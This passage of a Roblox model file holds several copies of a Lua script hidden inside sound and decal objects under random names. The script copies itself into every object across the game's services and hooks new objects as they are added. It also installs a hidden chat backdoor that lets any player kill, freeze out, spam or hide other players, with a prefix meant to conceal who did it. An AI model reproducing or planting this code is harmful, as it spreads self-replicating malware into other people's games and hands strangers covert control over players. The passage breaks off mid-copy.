fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX103">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">face</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX104">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ojl3</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX105">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">lhuq9pnpn</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX106">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">c8du8u</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX107">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">ooox38kaw</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
